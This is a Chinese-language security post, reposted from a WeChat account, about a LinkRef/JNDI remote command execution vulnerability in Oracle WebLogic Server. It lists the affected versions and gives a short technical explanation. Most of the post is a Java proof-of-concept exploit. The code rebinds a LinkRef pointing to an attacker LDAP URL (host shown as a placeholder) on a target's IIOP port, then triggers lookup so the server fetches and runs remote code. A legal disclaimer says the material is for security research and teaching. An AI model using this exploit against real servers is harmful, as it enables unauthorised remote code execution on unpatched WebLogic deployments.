0x00 简介:
Oracle WebLogic Server 是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用。
0x01 漏洞详情:
产品:Weblogic
影响版本:10.3.6.0、12.1.3.0、12.2.1.0、12.2.1.2.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0 及截止到2022年8月最新版本
执行weblogic中的bind之后,Object是注册到T3/IIOP的服务里面,执行lookup则会调用resolveObject函数来处读取注册的Object,处理调用WLNamingManager.getObjectInstance函数来根据注册的object来读取。
poc:
public static void main(String[] args) throws Exception {
LinkRef linkRef = new LinkRef("ldap://xxxxxx:xxx/Poc");
Context context = getContext("iiop://xxxxxx:7001");
context.rebind("cccc", linkRef);
context.lookup("cccc");
}
/**
* 获取连接上下文
*
* @param url 连接字符串
* @return 连接成功响应内容
* @throws Exception 失败抛出异常
*/
public static Context getContext(String url) throws Exception {
if (url.startsWith("iiop")) {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", url);
return new InitialContext(env);
} else if (url.startsWith("t3")) {
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
// environment.setSSLClientTrustManager(new WeblogicTrustManager());
return environment.getInitialContext();
}
return null;
}
原文始发于微信公众号(开普勒安全团队):Weblogic LinkRef 远程命令执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论